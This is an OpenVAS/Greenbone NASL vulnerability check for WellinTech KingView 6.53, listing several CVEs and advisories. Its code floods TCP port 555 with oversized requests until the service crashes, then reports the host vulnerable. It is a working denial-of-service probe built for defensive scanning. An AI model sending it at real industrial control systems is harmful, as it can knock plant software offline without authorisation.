WellinTech KingView Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802911");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2012-1830", "CVE-2012-1831", "CVE-2012-1832", "CVE-2012-2560");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-07-10 17:26:36 +0530 (Tue, 10 Jul 2012)");
  script_name("WellinTech KingView Multiple Vulnerabilities");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("General");
  script_dependencies("find_service.nasl");
  script_require_ports(555);

  script_xref(name:"URL", value:"http://secunia.com/advisories/49058");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54280");
  script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICSA-12-185-01.pdf");
  script_xref(name:"URL", value:"http://www.wellintech.com/index.php/news/33-patch-for-kingview653");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/114165/kingviewtouchview-overflow.txt");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/114166/kingviewtouchview-overwrite.txt");

  script_tag(name:"impact", value:"Successful exploitation allows remote attackers to gain sensitive information
  via directory traversal attacks or cause the application to crash, creating a denial of service condition.");

  script_tag(name:"affected", value:"WellinTech KingView version 6.53");

  script_tag(name:"insight", value:"- Multiple errors in 'touchview.exe' when processing certain requests, can
    be exploited to cause a crash via a specially crafted request sent to TCP port 555.

  - A specially crafted packet to either Port 2001/TCP or Port 2001/UDP, an
    attacker may read from an invalid memory location in the KingView application.

  - A specially crafted GET request via HTTP on Port 8001/TCP, an attacker
    may access arbitrary information from the KingView application.");

  script_tag(name:"solution", value:"Apply the patch from the referenced advisory.");

  script_tag(name:"summary", value:"WellinTech KingView is prone to multiple vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

port = 555;

if(!get_port_state(port)){
  exit(0);
}

soc = open_sock_tcp(port);
if(!soc){
  exit(0);
}

req = crap(length:100000, data:"D");
close(soc);

for(i=0;i<100;i++){
  soc = open_sock_tcp(port);
  if(soc){
    send(socket:soc, data:req);
    close(soc);
  } else {
   break;
  }
}

soc1 = open_sock_tcp(port);
if(!soc1){
  security_message(port:port);
  exit(0);
}

close(soc1);
exit(99);